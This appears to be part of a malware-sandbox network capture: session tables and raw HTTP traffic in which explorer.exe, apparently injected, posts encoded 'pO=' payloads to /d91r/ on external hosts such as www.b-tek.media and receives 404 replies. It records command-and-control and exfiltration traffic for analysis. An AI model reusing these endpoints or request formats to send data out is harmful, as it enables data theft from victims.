BeNwXqHepuCft1yYcArmZ4UKAJ5tlZTTvmdLnhR3VcNhbUU5a1jgNcVX29nfk3bkagBqRu9sUIq4VU72CX89C9DkP5ugye~hyBDxHTEmgM1JcO2AmQXtGS8YpAMIoiaMyuamMHZ4vURTEyehbxeKLM(TIb8_scvBbmyEoIyo9lN4RYw0l9ZpRh0c6f1auy26SW73fMlR0U(Gpz4SSy2vbn28ce8IpJti3RoLV6rRuXO_8bgQAPuIedAUTPuBPggbMgEaJwHEsdbdsWaCnsfyaPnRMN50rBOq(mnwu38C82PYriBHUPPpiS3vpP2idrNaPUBvzpGiDR1xZTOIakMq8TcfrlbEaK3Y3zc49Ha_FHEM93bG2x81Bc~tHYSdCvXcuNNrKUOZBzLBz1N2CUl3zentHAm_hgNmLz9kh6W28Y1F7Roy~7fSxZn_UQ(_HNiqDuOPhIXtSgvJdRza3yvo4x~ccKJMs2v45bMiO9dZGxKWkjgRUQ5yaMdlAI6z1y7cSkHwZfZRppVbbabfArp2UzmZSV1tt-TAuy3QUjXO20e0Dymow_sHSEUR8H~w4MD5CpKukhUo9kk7T-yTDxXdh2Ufi35qZH51cIO6xCrjuCJBmBGpK3QtBnI15O6EGYqOjd7-DKbUs8MxZjjeveGHq6zD~vVU1iadYHxS~08Qtu8CN6wNuRA2vsCHgyPJkibjRI1hHydyv-tQF3tGsVTWfXeb4bUMzmqrUeoVy6vJncIM6y4rr8oWRasczvSnZZA6YNRkiZDiEbhbk8gzHudsgB47S3~x0gv8XWK1KlxOGzNFfmc_sIvVfff46u07FX4zrvR3dQB6pnEwnRlUyjDdM
Mar 20, 2023 15:20:35.081773043 CET	786	OUT	Data Raw: 50 45 63 7a 43 79 61 78 33 67 6e 53 31 6c 6d 45 38 7e 50 47 64 37 6b 6f 55 32 6f 6e 4d 70 42 66 67 78 54 51 61 42 4f 58 62 5a 49 52 77 67 77 64 69 66 6d 4a 4c 48 38 55 54 38 31 37 61 4f 67 42 39 4a 7a 37 58 48 61 54 30 45 6b 69 56 4e 79 52 62 6d Data Ascii: PEczCyax3gnS1lmE8~PGd7koU2onMpBfgxTQaBOXbZIRwgwdifmJLH8UT817aOgB9Jz7XHaT0EkiVNyRbmGowV6uwzFvYYVJsOuT4GcZsyO~5hPVIUP3EJBAoiAd6u0K10RBau2YOOZzxgno9Q_TQdTKCllgjbv44JCnjhd1LR1KUK7syz0(FREjqmqAFisx7MkM2HS~IB40jo33gQt3-zg4BTgx8vfWjKFSNd4ck2Wss353AHF
Mar 20, 2023 15:20:35.335227966 CET	787	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 20 Mar 2023 14:20:35 GMT Content-Type: text/html Content-Length: 146 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Mar 20, 2023 15:20:35.335406065 CET	789	OUT	Data Raw: 4a 65 76 61 77 6e 38 78 64 58 65 43 37 69 57 50 46 42 43 4d 54 74 70 59 4c 79 47 64 56 54 48 45 4a 30 53 75 7a 36 49 63 6b 33 43 6e 42 65 7a 6c 38 45 72 51 37 56 58 7e 67 33 74 44 42 33 56 48 66 52 61 44 70 66 41 66 65 6f 33 65 4a 46 4c 28 5a 36 Data Ascii: Jevawn8xdXeC7iWPFBCMTtpYLyGdVTHEJ0Suz6Ick3CnBezl8ErQ7VX~g3tDB3VHfRaDpfAfeo3eJFL(Z6nQ7VnYyGkE2(RBuOvQIRuaBCj4OMJ3-Tyq-Uu77QW4mFT8Ob5ydNHvF0P6PL4RNFfsc2sLjwhWupADSxpO1W5Y0mnIO3ldYanmNprZ1Hults2QhYAiM24HSzcXroQiNpqwDK8srdqzgosK3foTH(ZMwlRig1iyoeC
Mar 20, 2023 15:20:35.335751057 CET	803	OUT	Data Raw: 49 6e 76 57 33 70 4b 52 37 76 54 68 39 28 38 79 64 32 6a 6a 50 72 75 54 43 77 55 67 4f 75 47 70 69 52 35 75 4c 74 7a 51 57 6b 47 6b 39 36 4a 36 2d 30 36 6a 56 67 4e 41 4d 38 54 72 5a 57 50 36 32 71 78 6a 58 39 45 56 68 58 53 58 42 71 52 44 76 54 Data Ascii: InvW3pKR7vTh9(8yd2jjPruTCwUgOuGpiR5uLtzQWkGk96J6-06jVgNAM8TrZWP62qxjX9EVhXSXBqRDvTUMj(elLNFPh2NqOIEwYQk(UMOp0IKXi0KRHpjlehY4KK1XtOYSCljNy20n9PJtOj_hkv8RvgMdCxjAWYRqaSXneSk2F6z8uYQapzPF-d4VWYqtK2XWjj06kvtcvTYG-yr9aYiWyFQNnCnF7otfaCZPlsa0fs_mjSZ
Mar 20, 2023 15:20:35.335916996 CET	812	OUT	Data Raw: 4c 78 49 7e 77 6b 48 32 48 68 75 4e 38 6a 36 70 78 72 57 30 43 70 4f 38 4e 4e 59 57 77 72 4e 6d 56 4a 4e 73 73 63 70 41 33 69 62 77 43 48 43 6c 47 31 69 7e 37 43 42 4d 44 72 6f 44 55 46 7a 50 51 4f 37 48 47 5a 76 72 51 54 76 73 54 31 46 4a 67 73 Data Ascii: LxI~wkH2HhuN8j6pxrW0CpO8NNYWwrNmVJNsscpA3ibwCHClG1i~7CBMDroDUFzPQO7HGZvrQTvsT1FJgsIhQi3OqmxhsnncMwsURvZDTvptFf6pY~SBEvXKSs3HJiYYcVgCrCujo8Tk6oEFThRURlL44ymVTtPeqM0C2IRmgsvRn3zh2VtNLQyBPGEvtwIwAGhwH~sKtcV1mJxl9uE6wxF4Uy2WjuVT6E5ckr7r2rL~Sn1StVf
Mar 20, 2023 15:20:35.588953972 CET	815	OUT	Data Raw: 72 62 33 75 59 74 4b 4c 77 39 68 53 6f 35 4b 44 36 30 59 68 77 4f 4c 6c 72 6d 41 4e 6c 72 50 61 62 58 7a 39 52 62 79 78 30 31 55 66 36 54 53 41 75 4f 30 68 31 50 4f 77 69 31 51 56 5f 78 59 6e 6c 4b 58 61 47 31 36 66 70 31 59 6a 58 45 5f 58 54 35 Data Ascii: rb3uYtKLw9hSo5KD60YhwOLlrmANlrPabXz9Rbyx01Uf6TSAuO0h1POwi1QV_xYnlKXaG16fp1YjXE_XT5qUbn35qR6kqJMcG8R6NaJDh3H5B3aHGmh2d(5j_exfV80E03BaAU_alYsAX3i2Dhg(vOb~TMGf3maaOZ1a6qMeU8Is0O1wwWafaea11CDwCC49h0Bf-95oeeoy_aIimjo0IKotnwoSIzUf_KI7FceqKCuGfx6Tiof
Mar 20, 2023 15:20:35.589091063 CET	817	OUT	Data Raw: 65 39 57 4d 56 6c 4e 78 64 42 4d 44 48 63 71 76 71 38 4d 76 2d 7e 4e 63 4f 57 59 4d 49 4e 4e 72 6b 30 57 53 49 50 69 41 49 7a 5a 6f 7a 28 53 68 4e 4c 6e 38 58 45 6b 30 71 7e 6c 4a 38 58 76 51 56 46 4d 6a 4f 4f 34 38 71 57 6f 59 6d 38 77 39 67 7e Data Ascii: e9WMVlNxdBMDHcqvq8Mv-~NcOWYMINNrk0WSIPiAIzZoz(ShNLn8XEk0q~lJ8XvQVFMjOO48qWoYm8w9g~SiNy9ZbLA330o4j8NNYgDohjPZ3bHT50Z0PmV1n15iglvnYjoSHNtKps47S0WRD62eCnRcoxyQnlMLcqZEHcoS6urtjnD1Rlozd74DvSUfXgyvtL9Fh6lei~0WQqJfTLnwfxr1-~rSjWYy95-vrwfO_vTjUdAjABp
Mar 20, 2023 15:20:35.589261055 CET	825	OUT	Data Raw: 45 70 53 68 6b 36 72 69 57 79 43 67 79 77 32 43 76 39 4a 58 49 43 70 38 6d 31 77 33 4a 67 5f 47 42 39 31 6a 33 79 48 74 50 47 44 34 36 38 35 42 44 4e 54 5a 45 6f 77 6f 73 33 6b 62 42 74 55 61 42 6c 75 46 4f 4b 56 28 78 36 61 58 75 70 71 75 33 35 Data Ascii: EpShk6riWyCgyw2Cv9JXICp8m1w3Jg_GB91j3yHtPGD4685BDNTZEowos3kbBtUaBluFOKV(x6aXupqu35MtfZM0e1MC8p4~s4HCD(wlmn9Nz27f1anuaIhFkBnDJGbSUdfuLvAH4JG2wAmqPctq2gDZwox4GyijgEUwlHGE0c4qhkcHYIvALjFh24E(Meu0QjBPGDSwGA4agPZLazUktd9xzbJPk(tU_0l03NvOwzVboL1cuEf
Mar 20, 2023 15:20:35.589600086 CET	826	OUT	Data Raw: 77 68 37 4b 61 31 4b 6f 61 76 4f 42 4b 31 33 74 4d 54 6a 79 63 31 51 61 51 67 51 4e 4d 64 64 35 59 6b 30 66 6d 36 31 38 6e 41 75 72 38 69 30 33 76 32 67 77 4c 64 56 4d 7a 7e 5f 41 61 43 41 79 79 52 66 5a 44 33 70 36 45 77 30 55 30 79 76 70 50 65 Data Ascii: wh7Ka1KoavOBK13tMTjyc1QaQgQNMdd5Yk0fm618nAur8i03v2gwLdVMz~_AaCAyyRfZD3p6Ew0U0yvpPeiN4MoCkHa4MoIX51PnMPespftUzl6EnkrTCHr6YsgDbhruy~aNojyROF_rg64e9pdHx1-IRB9PoTCaTop0BHSLEjowuXxGowMOxqawdj4TuAamgHJ5_oiZik7jXy4WCuLsbLpa0KDNJhAI9Sm(T4J8QOHOsKiIcGC

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
21	192.168.11.20	49866	154.215.156.6	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Mar 20, 2023 15:20:37.860512018 CET	827	OUT	GET /d91r/?pO=QRVitphc0g1OIlGqribmuO+/vkIwz3nmW5e0zmbI+ptVqgaVXv4o34I8PAy9Ptw3AL0LuNtl4GkWhRdrmVn9ER/XiJFNsBOU8g==&8H7gL=Bxcfm_qbbEGm HTTP/1.1 Host: www.184411.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Mar 20, 2023 15:20:38.114355087 CET	827	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 20 Mar 2023 14:20:38 GMT Content-Type: text/html Content-Length: 146 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
22	192.168.11.20	49867	91.184.0.24	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Mar 20, 2023 15:20:43.561834097 CET	828	OUT	POST /d91r/ HTTP/1.1 Host: www.b-tek.media Connection: close Content-Length: 184 Cache-Control: no-cache Origin: http://www.b-tek.media User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.b-tek.media/d91r/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 70 4f 3d 4e 31 5a 79 45 53 33 45 36 4b 44 48 79 65 6b 51 69 33 44 62 38 4b 32 51 32 6b 37 48 59 66 6e 68 33 67 71 33 39 4a 49 52 49 65 58 68 31 39 6a 51 32 50 47 53 71 62 63 7a 68 35 30 52 78 32 71 31 4b 68 32 55 56 51 4d 34 38 41 54 75 33 42 36 63 76 68 77 45 51 4c 53 4e 6f 41 65 74 44 48 63 38 44 5a 50 4a 70 74 62 59 48 65 46 72 65 6c 48 56 46 39 47 41 55 70 61 45 44 57 7e 4a 57 33 4e 6e 4b 5f 66 63 74 62 5a 43 74 4a 59 73 30 42 6f 76 31 73 4f 47 62 33 31 5f 75 4f 32 43 52 64 72 4e 64 6f 39 75 52 6b 44 30 4d 44 75 50 74 34 28 76 46 51 29 2e 00 00 00 00 00 00 00 00 Data Ascii: pO=N1ZyES3E6KDHyekQi3Db8K2Q2k7HYfnh3gq39JIRIeXh19jQ2PGSqbczh50Rx2q1Kh2UVQM48ATu3B6cvhwEQLSNoAetDHc8DZPJptbYHeFrelHVF9GAUpaEDW~JW3NnK_fctbZCtJYs0Bov1sOGb31_uO2CRdrNdo9uRkD0MDuPt4(vFQ).
Mar 20, 2023 15:20:43.595520020 CET	829	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.2 Date: Mon, 20 Mar 2023 14:20:43 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Last-Modified: Mon, 06 Feb 2023 15:44:30 GMT ETag: W/"6f-5f409e82bbe87" Content-Encoding: gzip Data Raw: 36 38 0d 0a 1f 8b 08 00 00 00 00 00 04 03 b3 f1 08 f1 f5 b1 b3 f1 70 75 74 b1 b3 09 f1 0c f1 71 b5 33 31 30 d1 cd cb 2f 51 48 cb 2f cd 4b b1 d1 87 08 da e8 43 94 38 f9 bb 44 02 95 1b da b9 16 15 e5 17 29 e4 27 27 97 16 15 a5 a6 58 29 00 75 29 e8 2a 20 e9 03 aa b1 f1 08 b2 b3 d1 87 68 d1 07 5b 04 00 16 77 99 ec 6f 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 68putq310/QH/KC8D)''X)u)* h[wo0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
23	192.168.11.20	49868	91.184.0.24	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Mar 20, 2023 15:20:46.107448101 CET	830	OUT	POST /d91r/ HTTP/1.1 Host: www.b-tek.media Connection: close Content-Length: 524 Cache-Control: no-cache Origin: http://www.b-tek.media User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.b-tek.media/d91r/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 70 4f 3d 4e 31 5a 79 45 53 33 45 36 4b 44 48 79 39 38 51 78 68 4c 62 72 36 32 54 7a 6b 37 48 53 5f 6e 6c 33 67 6d 33 39 4d 77 42 4a 6f 28 68 37 34 50 51 6e 36 36 53 70 62 63 7a 35 4a 30 55 76 47 71 2d 4b 68 71 63 56 56 30 34 38 45 37 75 32 33 47 63 7e 42 77 48 46 37 53 4f 34 51 65 73 48 48 63 79 44 5a 4b 69 70 73 66 59 48 6f 78 72 64 6a 72 56 55 59 71 44 48 35 61 4b 55 47 7e 4f 64 58 4e 74 4b 5f 43 72 74 61 68 53 73 34 73 73 30 6c 55 76 30 73 4f 48 56 48 31 34 73 4f 33 6c 51 73 58 43 62 65 46 52 54 32 4c 34 54 69 62 67 68 6f 36 36 65 5f 65 58 75 68 28 74 61 35 7e 4c 50 30 59 4e 6e 36 73 6c 4a 41 73 43 54 63 76 56 62 41 7e 72 32 38 53 6d 4e 72 31 5f 48 4f 70 75 43 61 63 6c 69 30 44 30 59 34 61 79 6f 6e 53 33 75 6f 47 6f 65 37 38 57 4a 51 66 79 37 30 65 59 43 48 69 66 65 61 5a 74 39 31 4e 51 35 79 63 6b 49 71 41 61 30 55 74 67 75 45 6f 2d 66 32 32 4b 53 67 4e 36 4b 64 78 54 46 4a 76 5a 59 57 61 50 66 74 70 48 53 2d 6a 6a 4a 74 61 77 77 67 74 49 4c 46 50 6d 4c 65 78 73 49 38 4e 74 70 75 77 68 6d 31 57 57 6f 57 39 72 6e 54 4e 30 71 73 46 50 47 39 4f 6a 33 75 39 54 66 74 73 74 71 51 6d 34 30 6d 45 36 69 71 47 52 49 55 47 2d 75 67 65 64 36 4a 4c 64 71 53 45 73 70 78 74 66 47 4b 79 31 7e 61 4c 45 64 71 75 63 58 6a 50 30 6c 50 4d 43 4c 73 69 6d 79 56 66 46 67 39 7a 33 78 4b 58 70 53 61 32 63 68 59 54 61 76 69 45 4b 65 6d 63 2d 71 77 79 65 39 56 43 79 55 43 6d 33 56 51 52 58 37 4c 46 61 32 70 45 68 79 6f 53 38 74 31 6a 4d 59 48 66 62 53 6e 44 65 43 66 59 44 44 66 49 51 41 36 6f 78 4c 6f 46 64 69 43 48 58 34 62 4b 6d 64 30 36 5f 6d 45 68 62 68 68 73 2e 00 00 00 00 00 00 00 00 Data Ascii: pO=N1ZyES3E6KDHy98QxhLbr62Tzk7HS_nl3gm39MwBJo(h74PQn66Spbcz5J0UvGq-KhqcVV048E7u23Gc~BwHF7SO4QesHHcyDZKipsfYHoxrdjrVUYqDH5aKUG~OdXNtK_CrtahSs4ss0lUv0sOHVH14sO3lQsXCbeFRT2L4Tibgho66e_eXuh(ta5~LP0YNn6slJAsCTcvVbA~r28SmNr1_HOpuCacli0D0Y4ayonS3uoGoe78WJQfy70eYCHifeaZt91NQ5yckIqAa0UtguEo-f22KSgN6KdxTFJvZYWaPftpHS-jjJtawwgtILFPmLexsI8Ntpuwhm1WWoW9rnTN0qsFPG9Oj3u9TftstqQm40mE6iqGRIUG-uged6JLdqSEspxtfGKy1~aLEdqucXjP0lPMCLsimyVfFg9z3xKXpSa2chYTaviEKemc-qwye9VCyUCm3VQRX7LFa2pEhyoS8t1jMYHfbSnDeCfYDDfIQA6oxLoFdiCHX4bKmd06_mEhbhhs.
Mar 20, 2023 15:20:46.141176939 CET	830	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.2 Date: Mon, 20 Mar 2023 14:20:46 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Last-Modified: Mon, 06 Feb 2023 15:44:30 GMT ETag: W/"6f-5f409e82bbe87" Content-Encoding: gzip Data Raw: 36 38 0d 0a 1f 8b 08 00 00 00 00 00 04 03 b3 f1 08 f1 f5 b1 b3 f1 70 75 74 b1 b3 09 f1 0c f1 71 b5 33 31 30 d1 cd cb 2f 51 48 cb 2f cd 4b b1 d1 87 08 da e8 43 94 38 f9 bb 44 02 95 1b da b9 16 15 e5 17 29 e4 27 27 97 16 15 a5 a6 58 29 00 75 29 e8 2a 20 e9 03 aa b1 f1 08 b2 b3 d1 87 68 d1 07 5b 04 00 16 77 99 ec 6f 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 68putq310/QH/KC8D)''X)u)* h[wo0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
24	192.168.11.20	49869	91.184.0.24	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Mar 20, 2023 15:20:48.655178070 CET	843	OUT	POST /d91r/ HTTP/1.1 Host: www.b-tek.media Connection: close Content-Length: 51812 Cache-Control: no-cache Origin: http://www.b-tek.media User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.b-tek.media/d91r/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 70 4f 3d 4e 31 5a 79 45 53 33 45 36 4b 44 48 79 39 38 51 78 68 4c 62 72 36 32 54 7a 6b 37 48 53 5f 6e 6c 33 67 6d 33 39 4d 77 42 4a 6f 33 68 37 4f 62 51 31 70 53 53 6f 62 63 7a 77 70 30 56 76 47 71 6a 4b 68 79 59 56 55 49 6f 38 47 44 75 32 67 4b 63 7e 53 55 48 55 4c 53 4c 6c 67 65 71 44 48 63 63 44 5a 4f 32 70 73 62 6d 48 59 74 72 65 68 44 56 46 66 7e 41 62 35 61 45 55 47 7e 61 5a 58 4e 62 4b 5f 57 37 74 61 64 53 73 36 6f 73 31 58 73 76 32 39 4f 48 59 33 31 37 35 2d 33 71 66 4d 57 38 62 65 35 46 54 32 4c 47 54 67 33 67 68 71 69 36 66 2d 65 51 75 42 28 74 62 35 7e 49 43 55 55 4a 6e 36 78 77 4a 42 59 43 54 62 7a 56 61 67 7e 72 6d 74 54 77 4b 4c 31 35 44 4f 70 35 52 4b 41 54 69 30 58 4b 59 35 7e 79 70 58 47 33 67 37 7e 6f 64 61 38 57 57 41 66 77 31 55 65 74 51 48 69 39 65 61 6f 4f 39 78 42 41 35 77 51 6b 49 4c 67 61 78 32 49 32 73 6b 70 31 47 47 32 66 45 51 4a 2d 4b 65 5a 50 46 4a 76 4a 59 55 32 50 66 64 35 48 41 76 6a 67 45 64 61 71 35 41 73 53 41 6c 4c 37 4c 65 74 33 49 38 31 45 70 70 51 68 6e 56 57 57 7e 46 6c 6f 76 6a 4e 5f 6a 4d 46 64 46 4e 4f 77 33 75 42 35 66 70 38 62 71 67 4b 34 30 56 38 36 7a 71 47 53 44 6b 47 36 67 41 65 48 74 5a 4c 64 71 53 59 34 70 78 68 66 47 37 4b 31 6b 49 54 45 59 35 32 63 52 6a 50 79 6c 50 4d 66 4c 73 65 46 79 55 4b 57 67 39 69 53 78 4a 37 70 52 49 65 63 73 39 28 62 71 53 45 4c 4d 57 63 6c 31 67 7e 7a 39 56 4f 71 55 44 57 4a 56 48 5a 58 36 50 5a 61 79 70 45 69 33 49 53 37 6c 56 6a 57 63 48 44 58 53 6d 75 68 43 66 46 65 44 64 59 51 42 74 56 52 63 64 6c 6a 28 68 62 69 78 66 4b 73 44 31 75 74 31 6d 42 63 33 56 71 47 36 4c 32 67 39 4c 35 41 33 69 4d 71 55 7a 68 6f 51 44 4a 77 66 51 59 66 4f 31 63 6e 43 6d 45 74 48 4a 49 39 28 4d 7a 7a 45 64 62 46 66 6c 31 4e 4e 52 62 74 63 75 6b 45 50 54 6e 73 56 52 42 6a 54 43 6d 54 53 57 28 42 6c 58 6c 42 54 49 70 58 4b 41 4a 44 6f 4a 46 54 78 44 32 67 6b 4e 78 65 30 42 52 65 6d 41 69 61 6f 35 35 68 4d 52 48 65 7a 47 66 59 38 6e 54 79 74 59 39 55 52 2d 59 5f 4d 57 70 78 70 73 75 69 5a 56 41 4b 62 35 6a 6e 72 78 4c 58 56 55 73 65 28 67 4d 79 73 43 6b 62 48 4f 4e 42 71 41 63 56 77 37 55 43 73 55 49 72 58 59 70 50 42 73 64 65 74 52 47 6b 69 6e 69 44 6c 41 4e 30 68 71 28 6d 37 63 30 44 45 63 6c 4b 33 41 62 43 5a 55 75 54 41 33 46 42 68 68 72 36 41 68 55 44 77 4b 74 76 68 51 65 44 77 5f 33 49 28 72 7a 6f 4c 33 6c 41 5a 57 43 35 28 56 75 76 46 53 30 51 76 2d 75 5a 6a 31 28 58 42 30 45 70 6a 6f 61 6b 38 56 42 74 4b 79 47 44 28 7a 4c 4f 75 45 41 70 50 6a 6c 68 6b 46 30 2d 64 46 65 33 51 79 4e 47 49 6f 72 62 4e 78 56 41 62 49 67 5f 39 61 35 33 28 52 49 51 58 6a 62 4e 72 62 58 4f 54 55 75 6c 74 6b 35 55 30 36 72 6c 38 58 77 4b 47 50 58 44 72 77 41 58 51 66 36 31 31 62 39 69 4e 4e 50 2d 6d 34 79 6f 68 33 79 6c 43 39 52 4e 6b 5f 6d 7a 36 30 6b 47 7e 43 4b 41 65 39 34 73 75 68 6e 36 57 44 50 74 6a 31 54 77 39 52 30 31 61 73 41 51 6d 4e 4c 37 59 6d 64 53 50 38 74 32 63 48 67 32 35 47 41 71 68 48 78 57 55 75 6c 2d 31 68 50 42 71 55 50 5f 6f 48 64 65 55 54 35 5f 32 38 62 33 72 63 72 30 4a 74 63 32 56 71 78 56 46 33 59 6e 30 44 30 63 76 42 47 79 51 41 33 34 62 42 4f 63 70 7a 30 56 4f 41 6f 75 6a 57 4b 48 71 49 57 74 4e 73 43 78 56 6c 65 6e 55 30 38 6b 36 79 45 41 4b 63 76 47 50 4f 64 4b 64 30 4d 65 5a 4a 6e 65 67 73 6d 2d 33 6e 39 4e 4a 65 73 6b 50 6c 77 5a 6d 31 46 64 6a 64 46 69 77 70 57 5f 61 52 48 66 59 4a 43 59 61 70 72 30 30 51 77 55 79 2d 56 5a 7a 59 41 57 69 63 42 73 36 63 6f 61 49 74 76 32 42 57 72 70 31 73 37 34 66 4b 79 76 6b 36 6f 2d 28 6a 54 63 7e 41 75 6a 49 44 38 65 77 7a 42 62 4c 77 70 6c 57 69 6a 53 76 74 69 59 4b 37 79 6a 30 38 37 47 28 55 6b 44 42 4a 6f 33 72 49 59 4b 38 72 74 30 6a 35 61 4e 39 35 57 4b 64 6d 7a 37 69 52 6a 35 42 66 5a 55 4f 34 37 59 65 56 79 42 31 4f 6b 70 48 46 71 38 4b 76 63 54 38 33 49 5a 42 79 48 4b 62 56 39 4e 55 79 4d 6a 43 34 33 57 6f 79 6b 6a 69 36 31 41 6b 57 47 73 38 59 7a 72 5a 71 59 79 7e 33 30 77 28 52 54 41 7e 45 7a 58 4c 63 56 61 66 6a 53 2d 50 50 4a 78 68 70 69 6f 4a 38 73 42 33 4c 39 37 55 55 4e 51 67 33 65 70 4d 44 63 46 4e 56 4b 34 42 4a 36 54 4e 34 72 6f 32 74 4f 76 53 63 6d 34 37 61 47 43 33 63 51 71 31 4d 34 79 Data Ascii: pO=N1ZyES3E6KDHy98QxhLbr62Tzk7HS_nl3gm39MwBJo3h7ObQ1pSSobczwp0VvGqjKhyYVUIo8GDu2gKc~SUHULSLlgeqDHccDZO2psbmHYtrehDVFf~Ab5aEUG~aZXNbK_W7tadSs6os1Xsv29OHY3175-3qfMW8be5FT2LGTg3ghqi6f-eQuB(tb5~ICUUJn6xwJBYCTbzVag~rmtTwKL15DOp5RKATi0XKY5~ypXG3g7~oda8WWAfw1UetQHi9eaoO9xBA5wQkILgax2I2skp1GG2fEQJ-KeZPFJvJYU2Pfd5HAvjgEdaq5AsSAlL7Let3I81EppQhnVWW~FlovjN_jMFdFNOw3uB5fp8bqgK40V86zqGSDkG6gAeHtZLdqSY4pxhfG7K1kITEY52cRjPylPMfLseFyUKWg9iSxJ7pRIecs9(bqSELMWcl1g~z9VOqUDWJVHZX6PZaypEi3IS7lVjWcHDXSmuhCfFeDdYQBtVRcdlj(hbixfKsD1ut1mBc3VqG6L2g9L5A3iMqUzhoQDJwfQYfO1cnCmEtHJI9(MzzEdbFfl1NNRbtcukEPTnsVRBjTCmTSW(BlXlBTIpXKAJDoJFTxD2gkNxe0BRemAiao55hMRHezGfY8nTytY9UR-Y_MWpxpsuiZVAKb5jnrxLXVUse(gMysCkbHONBqAcVw7UCsUIrXYpPBsdetRGkiniDlAN0hq(m7c0DEclK3AbCZUuTA3FBhhr6AhUDwKtvhQeDw_3I(rzoL3lAZWC5(VuvFS0Qv-uZj1(XB0Epjoak8VBtKyGD(zLOuEApPjlhkF0-dFe3QyNGIorbNxVAbIg_9a53(RIQXjbNrbXOTUultk5U06rl8XwKGPXDrwAXQf611b9iNNP-m4yoh3ylC9RNk_mz60kG~CKAe94suhn6WDPtj1Tw9R01asAQmNL7YmdSP8t2cHg25GAqhHxWUul-1hPBqUP_oHdeUT5_28b3rcr0Jtc2VqxVF3Yn0D0cvBGyQA34bBOcpz0VOAoujWKHqIWtNsCxVlenU08k6yEAKcvGPOdKd0MeZJnegsm-3n9NJeskPlwZm1FdjdFiwpW_aRHfYJCYapr00QwUy-VZzYAWicBs6coaItv2BWrp1s74fKyvk6o-(jTc~AujID8ewzBbLwplWijSvtiYK7yj087G(UkDBJo3rIYK8rt0j5aN95WKdmz7iRj5BfZUO47YeVyB1OkpHFq8KvcT83IZByHKbV9NUyMjC43Woykji61AkWGs8YzrZqYy~30w(RTA~EzXLcVafjS-PPJxhpioJ8sB3L97UUNQg3epMDcFNVK4BJ6TN4ro2tOvScm47aGC3cQq1M4yl67FQA0bCR6daG0ob1r6VhU4VqkhAXIAgr7jPeTXS3uBx2qNqa5mXdDYKFVJ9gu7qFNrPQfqoStn6Dnfw6yd44wY6BDHg23DP2TzdkyWbyObwvjRPM59xSSYVg4r2g0fd7IfFD2FN7XDdblpkgZ85XhbizWE8Qr_igJEebsT72e3bMWcfebg4pc2Q01HOH68rwL-~BJq0dVwx7bm7X~QjrNfphiis6GpZryZzwMuP46hthdDBXzj6hIZmyo9KNJ4dj2RJQmetT2CTR7RqzaLeoIfB9ms0omTNSbPDxJeSfZSUHp7cndnj8wioO(EHRELayCBt-UQFfSLDDWt3sZVjkD7E7e7hK0Ui5zFv5zBtWU_aPIz82c9IalDkTaMsvSz6x5IAQ2bx5FpUOLuQhUZqP2uEN0ex208u38bNQpJwndrHVwz3T4f3bPq6ipGrfT5V2qCZ1RwJPuIOof3G6sr3L5q8E9OWAnUSlpm3PrMZIzyhBc_W0Q3gAhrCFDy5YJBaCf8cs8ArBmY6AaHIl~bk_1M1u4socsd0IYUx0sTli~dTj~ROZH7KOX8KwkyxlnnK5E6terWRNPFHqKheSuMkE8EKPPKPFG-V0(mXMFQtJYIOq6LTiC9XKZgDrlmabv0FR3zOoTO~Y5TGJtYuuUW(1wgL3g8